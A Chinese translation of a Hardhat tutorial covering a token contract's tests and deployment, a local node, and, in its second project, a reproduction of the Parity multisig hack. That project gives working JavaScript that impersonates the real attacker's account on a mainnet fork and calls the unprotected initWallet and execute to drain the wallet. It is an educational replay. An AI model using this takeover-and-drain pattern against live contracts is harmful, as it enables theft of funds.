Hardhat 完整实践教程

本文介绍了以太坊开发环境 Hardhat 的使用和主要功能,通过三个实践项目:创建、测试、部署和验证简单的 Token 合约;重现 Parity Wallet 黑客攻击;使用 Hardhat 网络与合约和 EOA 交互,展示了 Hardhat 在智能合约开发中的应用,并提及了一些常用的插件和功能。

Hardhat 是以太坊开发者堆栈中最流行的工具之一。在本教程中,我们将学习如何使用 Hardhat 并理解其主要特性。本教程将主要以实操为主;我们将完成以下项目:

项目 1: 对于第一个项目,主要目的是对 Hardhat 的工作方式有一个大致的了解。我们将创建一个智能合约,对其进行测试,将其部署在 Rinkeby 上,并在 Etherscan 上验证它。

项目 2: 对于第二个项目,我们将重现 Parity hack。这是以太坊历史上最大的黑客攻击之一。

项目 3: 最后,我们将通过在我们的机器内部运行 Hardhat 网络来与合约和 EOA 进行交互。

在完成这 3 个项目之后,你应该对 Hardhat 在实际操作中的工作方式有一个很好的理解。

这是这 3 个项目的 github 仓库:https://github.com/rodrigoherrerai/hardhat-tutorial/tree/master

先决条件:

为了能够顺利地学习本教程,建议你具备以下知识:

  • 熟悉 Solidity
  • 熟悉 Ethereum (EVM)
  • 熟悉 JavaScript
  • 对区块链的基本原理有很好的理解
  • 熟悉命令行
  • 熟悉单元测试

在开始之前,我想向其他非常棒的工具致敬:

Truffle Suite: 使用 JavaScript 构建,由 Consensys 开发。它是以太坊上最早的开发环境之一,你可以在这里找到它。

Brownie: 如果你喜欢 Python,这是你的不二之选。你可以在这里查看。

Dapp tools: 这里。

Foundry: Paradigm 团队用 Rust 重写的 Dapp tools,你可以在这里找到它。

让我们开始吧!

什么是 Hardhat?

Hardhat 是一个用于编译、测试、部署和调试以太坊软件的开发环境。它帮助开发者管理和自动化构建智能合约和 dApp 过程中固有的重复性任务,并轻松地围绕此工作流程引入更多功能。这意味着在核心层面编译、运行和测试智能合约。

Hardhat 将帮助你完成整个智能合约开发过程。从最初的创建、测试、交互和部署。它对于测试已部署的合约和创建“未来假设”也很有帮助。

下面你将看到一个简单的图表,其中包含部署合约之前的一个非常基本的开发者工作流程:

Image description

Hardhat 是开发者旅程中这些步骤的绝佳工具,它将一路陪伴你。让我们更详细地了解一下:

智能合约创建/测试: 这是你编写合约的步骤。通常,编写智能合约和测试代码之间存在共生关系,这是因为你需要测试每一段代码。Hardhat 在这方面非常出色,因为它提供了非常好的插件来测试和优化代码。

部署: 在这一步中,你将代码(将 solidity 或 vyper 代码)编译成 bytecode,对其进行优化,然后进行部署。Hardhat 有很多不错的插件,我们稍后会看到,这些插件非常有用。

此外,使用 Hardhat,你可以重现过去的场景。例如,你可以告诉 Hardhat 回到过去,并表现得好像我们在“x”日期一样,以重做黑客攻击或你希望做的任何其他事情。这是通过 fork 主网完成的。我们将在第二个项目中回顾此功能。

正如你所看到的,Hardhat 为我们提供了许多不错的功能来在以太坊(或 EVM 兼容链)中施展魔法。

Hardhat 的架构

Hardhat 是围绕任务和插件的概念设计的。Hardhat 的大部分功能来自插件,作为开发者,你可以自由选择要使用的插件。Hardhat 对于你最终使用的工具没有固定的看法,但是它带有一些内置的默认值,这些默认值可以被覆盖。

插件→ 插件是 Hardhat 的骨干,它们是使用与你在 Hardhat 配置中使用的相同的配置 DSL 构建的。你可以在此处找到 Hardhat 插件的完整列表。

任务→ 任务是一个 JavaScript 异步函数,带有一些关联的元数据。Hardhat 使用此元数据为你自动执行某些操作。参数解析、验证和帮助消息都由它来处理。你可以在 Hardhat 中执行的所有操作都定义为一个任务。

你可以将插件视为可重用的代码片段,这些代码片段将额外的功能添加到基础层。这样做的好处是,你可以自己创建一个插件,也可以使用许多社区和/或 Hardhat 插件中的任何一个。

Hardhat 网络

Hardhat 内置了 Hardhat 网络,这是一个专为开发而设计的原生以太坊网络节点。

以太坊的核心是一组所有客户端都必须遵守的规范。以太坊协议有不同的实现(即客户端),最常用的是 GETH(用 GO 编写)。但是也有其他用不同语言编写的。重要的是,所有这些都必须遵循以太坊的规范。

在底层,Hardhat 使用 EVM 的 JS 实现来运行你的文件。这意味着你正在你的机器上运行 Ethereum JS。这就是 Hardhat 在你发送交易、测试和在内部部署合约时知道该怎么做的原因。

项目结构

下面你将看到一个图表,该图表显示了一个平均架构结构的外观。请记住,每个项目都是不同的,并且大小差异很大。但这只是为了获得一个一般的了解。

Image description

让我们分析一下每个目录:

contracts → 在这里,你将拥有所有合约和派生合约。这意味着,你创建的所有合约、接口、库和抽象合约都将在 contracts 文件夹下。唯一的例外是通过 npm 包导入其他合约。

deployments → 在 deployments 下,你将拥有将合约部署到网络的脚本。

test → 所有测试用例都放在此文件夹下。最好按照图表中所示的方式按合约文件分隔测试。

hardhat.config.js → Hardhat 的配置文件。

现在我们对 Hardhat 的理论工作方式有了一个大致的了解,让我们从项目开始吧!

注意:我们将在 3 个项目中重复许多任务。这样做是为了增加实践。

项目 1. 创建、测试、部署和验证一个简单的 Token 合约

安装和环境设置

Hardhat 是通过你项目中的本地安装使用的。这样,你的环境将是可重现的,并且你将避免将来的版本冲突。

你应该已安装 node,你可以运行以下命令进行检查:

node -v

如果你的没有安装它,你可以在此处查看安装过程。

对于整个教程,我们将在“hardhat-tutorial”内部创建我们的所有项目。因此,对于第一个项目,我们将创建一个名为“project1”的目录并从那里开始工作。

运行以下命令:

mkdir hardhat-tutorial
cd hardhat-tutorial
mkdir project1
cd project1
npm init -y
npm install --save-dev hardhat

安装 Hardhat 后,运行以下命令:

npx hardhat

你应该看到以下输出:

Image description

选择选项“Create an empty hardhat.config.js”。这将只给我们一个空的 Hardhat 配置文件,我们稍后将更详细地查看它。

安装完成后,安装以下插件:

npm install --save-dev @nomiclabs/hardhat-ethers ethers @nomiclabs/hardhat-waffle ethereum-waffle chai

这些是 Hardhat 中最常用的插件之一,我们正在安装 hardhat-ethers 和 hardhat-waffle。Ethers 是一个与以太坊交互的库,而 waffle 是一个用于测试智能合约的框架。

准备就绪后,打开你的 hardhat.config.js 文件并添加以下代码:

Image description

在这里,我们只是在需要 hardhat-ethers 和 hardhat waffle,并告诉 Hardhat 我们想要使用 Solidity 的编译器版本“0.8.8”。稍后,我们将添加更多复杂性并深入了解更多细节。

基本配置准备就绪后,让我们从有趣的部分开始。

对于第一个项目,我们将构建一个非常简单的智能合约,对其进行测试,并将其部署在 Rinkeby 上。这只是为了让你初步了解创建、测试和部署合约的过程。

创建合约

我们需要做的第一件事是创建一个 contracts 目录,如“simple-smart-contracts-project-structure”图所示。

mkdir contracts

在 contracts 内部,我们将创建一个名为 Token.sol 的文件。

请记住,将文件命名为与合约相同的名称是一种好的做法。

touch contracts/Token.sol

如果一切正常,你应该具有以下文件夹结构:

Image description

在 Token 文件内部,添加以下代码:

// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.8.0 <0.9.0;

/**
 * @title Token - a simple example (non - ERC-20 compliant) token contract.
 */
contract Token {
    address private owner;

    string public constant name = "MyToken";

    uint256 private totalSupply;

    mapping(address => uint256) private balances;

    /**
     * @param _totalSupply total supply to ever exist.
     */
    constructor(uint256 _totalSupply) {
        owner = msg.sender;
        totalSupply = _totalSupply;
        balances[owner] += totalSupply;
    }

    /**
     * @param _amount amount to transfer. Needs to be less than balances of the msg.sender.
     * @param _to address receiver.
     */
    function transfer(uint256 _amount, address _to) external {
        require(balances[msg.sender] >= _amount, "Not enough funds");
        balances[msg.sender] -= _amount;
        balances[_to] += _amount;
    }

    /**
     * @param _address address to view the balance.
     */
    function balanceOf(address _address)
        external
        view
        returns (uint256 result)
    {
        result = balances[_address];
    }

    /**
     * @notice returns the total supply.
     */
    function getTotalSupply() external view returns (uint256 _totalSupply) {
        _totalSupply = totalSupply;
    }
}

这是一个非常简单的 Token 合约(非 ERC-20 兼容),我们将所有初始供应量都给了所有者。

同样,这里的目的是了解如何测试和部署合约。

测试合约

准备好 Token.sol 后,创建一个 test 文件夹。在文件夹内部,创建一个名为 token.js 的文件:

mkdir test
touch test/token.js

这应该是你的文件结构:

Image description

将以下测试用例添加到你的 token.js 文件中:

const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Token.sol", () => {
    let contractFactory;
    let contract;
    let owner;
    let alice;
    let bob;
    let initialSupply;
    let ownerAddress;
    let aliceAddress;
    let bobAddress;

    beforeEach(async () => {
        [owner, alice, bob] = await ethers.getSigners();
        initialSupply = ethers.utils.parseEther("100000");
        contractFactory = await ethers.getContractFactory("Token");
        contract = await contractFactory.deploy(initialSupply);
        ownerAddress = await owner.getAddress();
        aliceAddress = await alice.getAddress();
        bobAddress = await bob.getAddress();
    });

    describe("Correct setup", () => {
        it("should be named 'MyToken", async () => {
            const name = await contract.name();
            expect(name).to.equal("MyToken");
        });
        it("should have correct supply", async () => {
            const supply = await contract.getTotalSupply();
            expect(supply).to.equal(initialSupply);
        });
        it("owner should have all the supply", async () => {
            const ownerBalance = await contract.balanceOf(ownerAddress);
            expect(ownerBalance).to.equal(initialSupply);
        });
    });

    describe("Core", () => {
        it("owner should transfer to Alice and update balances", async () => {
            const transferAmount = ethers.utils.parseEther("1000");
            let aliceBalance = await contract.balanceOf(aliceAddress);
            expect(aliceBalance).to.equal(0);
            await contract.transfer(transferAmount, aliceAddress);
            aliceBalance = await contract.balanceOf(aliceAddress);
            expect(aliceBalance).to.equal(transferAmount);
        });
        it("owner should transfer to Alice and Alice to Bob", async () => {
            const transferAmount = ethers.utils.parseEther("1000");
            await contract.transfer(transferAmount, aliceAddress); // contract is connected to the owner.
            let bobBalance = await contract.balanceOf(bobAddress);
            expect(bobBalance).to.equal(0);
            await contract.connect(alice).transfer(transferAmount, bobAddress);
            bobBalance = await contract.balanceOf(bobAddress);
            expect(bobBalance).to.equal(transferAmount);
        });
        it("should fail by depositing more than current balance", async () => {
            const txFailure = initialSupply + 1;
            await expect(contract.transfer(txFailure, aliceAddress)).to.be.revertedWith("Not enough funds");
        });
    });
});

测试用例的描述应该是不言自明的。但是我们只是在测试 Token.sol 合约的基本功能。

准备就绪后,运行以下命令来测试该文件:

npx hardhat test

如果一切顺利,你应该看到所有测试用例都通过了:

Image description

“npx hardhat test” 是 Hardhat 中的一个全局任务,它基本上是指,进入一个名为“test”的文件夹,并检查测试用例。请记住,如果你更改文件夹的名称,除非你指定位置:“npx hardhat test ”,否则它将无法工作。当项目变得更大时,指定确切的位置也非常有用。这是因为你不想一直测试所有内容,这非常耗时。

对于我们的情况,我们也可以像这样测试文件:

npx hardhat test test/token.js

准备好后,让我们将合约部署到 Rinkeby。

部署合约

为了部署合约,我们首先需要对我们的配置文件进行一些更改。在此之前,请安装以下依赖项:

npm install dotenv

Dotenv 是一个零依赖模块,它将环境变量从 .env 文件加载到 process.env 中。 当我们将代码推送到 github 或其他地方时,我们将使用 dotenv 来确保我们的私钥安全。

安装 dotenv 后,创建 .env 文件并添加以下变量:

touch .env

在 dotenv 内部:

PRIVATE_KEY = YOUR_PRIVATE_KEY
URL = https://... infura or alchemy node

你只需要添加你的私钥和一个与 Infura、alchemy 或你想使用的任何提供商的 url 连接(确保该帐户中有一些 rinkeby eth)。

注意:请务必选择 Rinkeby 网络。

准备就绪后,在 hardhat.config.js 中进行以下更改:

Image description

为了使用 dotenv,我们需要在顶层导入它 → “require(“dotenv”).config();”。之后,我们可以创建我们的变量并通过 → process.env.VARIABLE_NAME 获取值。将变量名称全部大写是一种好的做法。

我们还修改了模块,我们添加了关键字“networks”,这是为了指定 Hardhat,我们想要在哪个网络中部署我们的合约,例如“rinkeby”、“ropsten”、“mainnet”等。紧随其后的是一个 url(节点连接)和一个帐户(用于部署合约的私钥)。

准备就绪后,我们需要创建一个 deployments 目录,然后创建一个 deployToken.js 文件:

mkdir deployments
touch deployments/deployToken.js

在 deployToken.js 内部添加以下代码:

Image description

这是我们将用来部署合约的脚本。

const initialSupply = ethers.utils.parseEther(“100000”); → 我们正在创建一个名为 initialSupply 的变量,其值为 100,000 * 10 ^18。

const [deployer] = await ethers.getSigners(); → 这是合约的部署者,是在 .env 文件中提供的私钥的地址。

const tokenFactory = await ethers.getContractFactory(“Token”); → 合约的 Ethers 抽象,以便部署它。

const contract = await tokenFactory.deploy(initialSupply); → 这行代码使用 initialSupply 作为构造函数参数来部署合约。当然,如果你没有构造函数参数,那么你将不得不将其留空。同样,如果你有更多的构造函数参数,你将需要在此处提供所有参数。

准备就绪后,我们将编译合约。请记住,以太坊虚拟机不知道 solidity 是什么,它不理解它。它只理解 bytecode,机器可读的代码。

运行:

npx hardhat compile

你应该看到两个新目录,artifacts 和 cache:

Image description

所有相关信息(如 ABI(应用程序二进制接口)和 bytecode)都将在 artifacts/contracts/CONTRACT_NAME/CONTRACT_NAME.json 下。对于我们的情况:artifacts/contracts/Token.sol/Token.json

检查内部的文件,ABI 基本上是我们与合约交互的方式。它具有所有函数规范,如参数、状态可变性和名称。在文件的底部,你还将找到合约的 bytecode。

现在是最终将合约部署到 Rinkeby 的时候了,为了做到这一点,我们需要告诉 Hardhat 运行脚本:npx hardhat run — network。对于我们的情况,运行:

npx hardhat run deployments/deployToken.js --network rinkeby

如果一切顺利,你应该看到已部署合约的地址。

验证合约

在 Etherscan 上验证合约非常重要,这样人们就可以看到源代码,这可以增强信任和安全性。它可以增强信任,因为人们可以看到他们正在与之交互的协议的来源。并且安全性,因为会有更多的人关注,因此时间越长,出现潜在黑客攻击的可能性就越小。

转到 https://rinkeby.etherscan.io/ 并输入刚刚部署的地址,然后单击“contract”选项卡,你应该只看到 bytecode:

Image description

Harhdat 使用插件 hardhat-etherscan 简化了验证来源的过程。我们需要做的第一件事是安装插件:

npm install --save-dev @nomiclabs/hardhat-etherscan

安装完成后,我们需要对我们的配置文件进行一些调整:

Image description

为了验证合约,你需要获得一个 Etherscan api 密钥。获得后,请务必将其添加到 .env 文件中。

为了验证合约,我们需要运行以下命令:npx hardhat verify — network

npx hardhat verify --network rinkeby CONTRACT_ADDRESS "100000000000000000000000"

注意: 将 CONTRACT_ADDRESS 替换为新创建的合约的地址。

如果一切顺利,它应该说“Successfully verified contract Token on Etherscan”。如果我们现在看一下合约,我们应该看到验证后的源代码:

Image description

第一个项目就是这样!

项目 2. 重现 Parity Wallet Hack

parity hack 是以太坊中非常大且重要的黑客攻击。攻击者窃取了超过 150000 ETH。

我们将要做的是回到过去(或者如果你愿意,回到以太坊的区块长度),并扮演黑客来窃取资金。在继续之前,重要的是要了解到底发生了什么。

多重签名钱包非常适合存储大量资金和/或减轻一方风险。通常,它们的工作方式是拥有一组所有者和一个阈值。阈值是执行给定事务所需的最小签名数。

在不深入太多细节的情况下,存在一个实现合约或一个“单例”,其中包含钱包的所有功能,以及一个代理工厂,该工厂部署将所有调用委托给实现合约的代理合约。因此,当你创建一个新钱包时,它具有唯一的地址和存储,但会将所有调用委托给实现合约。

好的,那么到底发生了什么?

通常,当你具有这种类型的架构时,你需要确保:1) 所有更改状态的函数都受到保护(只有特定人群才能调用它们)。

2) 设置合约的初始函数只能被调用一次。

如果我们查看他们的代码,initWallet 函数对所有人开放以调用。这意味着你可以直接调用该函数,将你的地址添加为所有者,并控制钱包。

Image description

因此,黑客在发现漏洞后立即所做的事情是搜索拥有最多 Eth 的钱包。对于此示例,我们将返回到区块 4043802 并从特定钱包中获取 82189 Eth。你可以在此处看到真实的交易。以下是交易的快照:

Image description

在继续之前,我们需要学习 Hardhat 的一些不错的功能,我们将使用这些功能来重现黑客攻击:

Mainnet forking: 你可以启动一个 fork 主网的 Hardhat 网络实例。这意味着它将模拟具有与 mainnet 相同的状态,但它将作为本地开发网络工作。这样,你可以与部署的协议进行交互,并在本地测试复杂的交互。在 fork 主网时,有一些非常不错的功能:

  • impersonate accounts → 此功能允许你表现得好像我们是给定帐户的所有者。对于我们的示例,我们将表现得好像我们是黑客。

  • pinning a block → Hardhat 允许你指定一个区块号。这意味着链的状态将表现得好像我们在给定的区块。注意:为了固定一个区块,你需要访问一个存档节点(Alchemy 提供了此功能)。

对于我们的示例,我们将主要使用这些功能,但如果你想检查所有这些功能,请转到此处

让我们继续。

我们需要做的第一件事是设置我们的新项目。在 hardhat-tutorial 内部,创建一个名为“project2”的新目录。然后,让我们进行基本设置。以下是命令,请务必位于 hardhat-tutorial 内部:

mkdir project2
cd project2
npm init -y
npm install --save-dev hardhat
npx hardhat

Image description

选择“Create an empty hardhat.config.js”

然后安装一些 hardhat 插件和 dotenv:

npm install --save-dev @nomiclabs/hardhat-ethers ethers @nomiclabs/hardhat-waffle ethereum-waffle chai
npm install dotenv

对于这个项目,我们实际上不会编写任何智能合约。这是因为我们扮演的是“黑客”,因此我们正在从我们的外部拥有的帐户发送交易。

如前所述,为了 fork 主网,我们需要有一个存档节点。Alchemy 提供了这样的东西,所以获取一个 alchemy url 并确保选择 Mainnet。

准备就绪后,创建一个 dotenv 文件并添加 url:

touch .env

在 .evn 内部:

ALCHEMY_URL = https://eth-mainnet.alchemyapi.io/v2/....

然后将以下代码添加到你的 hardhat.config.js 文件中: 图片描述

正如你所见,语法非常直接,我们只需要告诉 Hardhat 我们要 fork 该链,提供一个存档节点和一个区块号。不强制要求提供区块号,如果你不提供,hardhat 将 fork 到最新状态。

下一步,是创建我们的测试用例,在其中我们将实现所有的逻辑(破解)。继续并运行以下命令:

mkdir test
touch test/parityHack.js

在展示代码之前,非常重要的是要理解我们正在做什么。

  1. 我们要回到区块号 4043801 → 实际的破解发生在区块 4043802,但我们不能在该区块上进行,因为那时黑客已经耗尽了所有资金。

  2. 我们要模拟黑客的账户,这是地址:0xB3764761E297D6f121e79C32A65829Cd1dDb4D32

  3. 我们要调用未受保护的 initWallet 函数,以便我们控制该钱包。这是钱包地址:0xBEc591De75b8699A3Ba52F073428822d0Bfc0D7e

  4. 我们要将所有资金转移到黑客的账户。

在 parityHack.js 内部添加以下代码:

const { expect } = require("chai");
const { ethers } = require("hardhat");

const walletAddress = "0xBEc591De75b8699A3Ba52F073428822d0Bfc0D7e";
const hackerAddress = "0xB3764761E297D6f121e79C32A65829Cd1dDb4D32";
const abi = [\
    "function initWallet(address[] _owners, uint _required, uint _daylimit)",\
    "function execute(address _to, uint _value, bytes _data) external"\
]
const blockNumber = 4043801;

describe("Parity Hack", () => {
    let hacker;
    let wallet;

    beforeEach(async () => {
        // 模拟黑客的账户。
        await hre.network.provider.request({
            method: "hardhat_impersonateAccount",
            params: [hackerAddress],
        });
        hacker = await ethers.getSigner(hackerAddress);
        wallet = new ethers.Contract(walletAddress, abi, hacker);
    });

    it(`should be block number: ${blockNumber}`, async () => {
        const _blockNumber = await ethers.provider.getBlockNumber();
        expect(_blockNumber).to.equal(blockNumber);
    });

    it("should steal funds and update balances", async () => {
        const walletBalancePrior = await ethers.provider.getBalance(walletAddress);
        const hackerBalancePrior = await ethers.provider.getBalance(hackerAddress);
        // 我们调用未受保护的 initWallet 方法。
        await wallet.connect(hacker).initWallet([hackerAddress], 1, 0);
        console.log(`wallet balance prior to the hack --> ${ethers.utils.formatEther(walletBalancePrior)} Eth`);
        console.log(`hacker balance prior to the hack --> ${ethers.utils.formatEther(hackerBalancePrior)} Eth`);
        expect(Math.trunc(Number(walletBalancePrior))).to.be.greaterThan(0);
        // 窃取所有资金,将它们发送到 hackerAddress。
        await wallet.connect(hacker).execute(hackerAddress, walletBalancePrior, "0x");
        const hackerBalancePost = await ethers.provider.getBalance(hackerAddress);
        const walletBalancePost = await ethers.provider.getBalance(walletAddress);
        console.log(`wallet balance after the hack --> ${ethers.utils.formatEther(walletBalancePost)} Eth`);
        console.log(`hacker balance after the hack --> ${ethers.utils.formatEther(hackerBalancePost)}`);
        const hackedAmount = hackerBalancePost.sub(hackerBalancePrior);
        console.log(`Succesfully hacked --> ${ethers.utils.formatEther(hackedAmount)}Eth`);
        // 钱包应该有 0 以太币。
        expect(walletBalancePost).to.equal(0);
        // 黑客应该比这次执行之前有更多的 Eth。
        expect(Math.trunc(Number(hackerBalancePost))).to.be.greaterThan(Math.trunc(Number(hackerBalancePrior)));
    });
});

然后通过运行以下命令测试该文件:

npx hardhat test

输出:

图片描述

正如你所见,我们成功地耗尽了所有钱包的资金!

项目 3. 使用 Hardhat 网络

我们之前看到了 Hardhat 网络的快速定义。让我们更深入地了解一下:

Hardhat 自带 Hardhat 网络,这是一个专为开发而设计的原生以太坊网络节点。它允许你部署你的合约、运行你的测试和调试你的代码。

它以进程内或独立守护程序的形式运行,为 JSON-RPC 和 WebSocket 请求提供服务。默认情况下,它会挖掘每个收到的交易的区块,按顺序且没有延迟。如前所述,它由 ethereumjs/vm 支持。

此功能允许你使用外部拥有的账户,非常快速地部署智能合约并与之交互。

让我们看看它是如何工作的。

注意:Hardhat 带有 20 个确定性账户。确定性意味着这 20 个账户对于每个使用 Hardhat 的人都是相同的。所有私钥都已泄露,切勿将真实资金发送到这些账户,它们仅用于测试目的!

首先,我们需要有我们的基本设置。创建一个名为“project3”的目录,其中包含所有基本配置:

  • 确保位于根目录中
mkdir project3
cd project3
npm init -y
npm install --save-dev hardhat
npm install --save-dev @nomiclabs/hardhat-ethers
npx hardhat

选择“Create an empty hardhat.config.js”。

然后,让我们创建一个名为“Hello”的合约。这个简单的合约将只有一个返回“hello”的函数(这里的目的是演示如何与 Hardhat 网络交互)。继续并在 contracts 目录下创建 Hello.sol:

mkdir contracts
touch contracts/Hello.sol

添加以下代码,然后编译合约:

// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.8.0 <0.9.0;

contract Hello {
    function hello() external pure returns (string memory _hello) {
        _hello = "hello";
    }
}
npx hardhat compile

然后我们就可以将合约部署到 hardhat 网络了。

你应该记得,我们需要创建一个部署脚本:

mkdir deployments
touch deployments/deployHello.js

然后在 deployHellos.js 内部添加以下代码:

const main = async () => {

    const [deployer] = await ethers.getSigners();
    console.log(`Address deploying the contract --> ${deployer.address}`);

    const helloFactory = await ethers.getContractFactory("Hello");
    const contract = await helloFactory.deploy();

    console.log(`Hello contract address --> ${contract.address}`);
}

main()
    .then(() => process.exit(0))
    .catch((error) => {
        console.error(error);
        process.exit(1);
    });

在运行脚本之前,我们需要让网络运行起来。

运行:

npx hardhat node

你应该看到服务器在 http://127.0.0.1:8545/ 上运行,这将是我们的主要端点,并且还会看到 Harhdat 的 20 个确定性账户。

图片描述

为了部署合约,你需要保持链的运行,因此打开另一个终端并运行:

npx hardhat run — network localhost

npx hardhat run --network localhost deployments/deployHello.js

你应该在运行区块链的终端中看到类似的输出:

图片描述

正如你所见,通过在本地运行链,我们可以更“深入地”访问幕后发生的事情。

确保复制新合约的地址(它应该在另一个终端窗口中)。

准备好后,创建一个 main.js 文件:

touch main.js

在这里,我们将只做简单的操作,例如显示余额、进行交易以及与我们的 Hello 合约交互。

在 main.js 中添加以下代码:

const { ethers } = require("ethers");

const provider = new ethers.providers.JsonRpcProvider("http://127.0.0.1:8545/");

// 这些是 Harhdat 的确定性账户
// 切勿将真实资金发送到这些账户!
const account0 = new ethers.Wallet("0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80", provider);
const account1 = new ethers.Wallet("0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d", provider);
const account19 = new ethers.Wallet("0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e", provider);

const CONTRACT_ADDRESS = "0x5FbDB2315678afecb367f032d93F642f64180aa3"; // 新合约的地址。
const { abi } = require("./artifacts/contracts/Hello.sol/Hello.json");

const balances = async () => {
    const account0Balance = await provider.getBalance(account0.address);
    console.log(`account0 balance: ${ethers.utils.formatEther(account0Balance)} Eth`);
    const account1Balance = await provider.getBalance(account1.address);
    console.log(`account1 balance: ${ethers.utils.formatEther(account1Balance)} Eth`);
    const account19Balance = await provider.getBalance(account19.address);
    console.log(`account19 balance: ${ethers.utils.formatEther(account19Balance)} Eth`);
}

const sendTx = async () => {
    const amount = ethers.utils.parseEther("5000") //5000 Eth。
    await account1.sendTransaction({ to: account19.address, value: amount });
    const account1Balance = await provider.getBalance(account1.address);
    console.log(`account1 balance: ${ethers.utils.formatEther(account1Balance)} Eth`);
    const account19Balance = await provider.getBalance(account19.address);
    console.log(`account19 balance: ${ethers.utils.formatEther(account19Balance)} Eth`);
}

const contractInteraction = async () => {
    const contract = new ethers.Contract(CONTRACT_ADDRESS, abi, provider);
    const result = await contract.hello();
    console.log(`result: ${result}`);
}

使用该文件,独立调用每个函数以查看输出。

要运行该文件:

node main.js

其他插件和任务

有很多非常好的插件、任务和功能。不幸的是,我们无法涵盖所有这些内容。我将分享我认为最有用的以及我看到大型项目使用最多的:

Console.sol: Hardhat 允许你在智能合约内部进行控制台日志记录,这对于调试非常有用。为了做到这一点,你只需要导入 “hardhat/console.sol”。如果我们回到我们的 Token 示例,它将如下所示:

图片描述

如果你看到,我们在构造函数内部记录了总供应量。这是你运行测试文件时的输出:

图片描述

Typescript 集成: 当你开发大型项目时,你通常希望使用强类型语言来减少错误。点击此处查看安装要求。

验证合约: 正如我们在第一个示例中看到的,hardhat 使验证合约的源代码非常简单。如果你想更深入地研究,请点击此处

Mainnet 分叉: 正如我们之前在第二个示例中看到的,mainnet 分叉对于与已部署的协议交互和模拟链的状态非常有用。例如,如果你有一个与 Uniswap 交互的合约,你可以 fork 该链并模拟交易。如果你想更深入地了解,请点击此处

测试: 测试是 dapp 开发过程中最重要的步骤之一。Hardhat 提供了许多不错的插件来改进测试。一个开箱即用的插件组合是 ethers.js 和 waffle。如果你想了解更多信息,请点击此处

Gas reporter: 此插件会告诉你每个单元测试的 gas 使用情况。有关更多详细信息,请点击此处

就这样! :)

  • 原文链接: dev.to/rodrigoherrerai/t...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
rodrigoherrerai
rodrigoherrerai
江湖只有他的大名,没有他的介绍。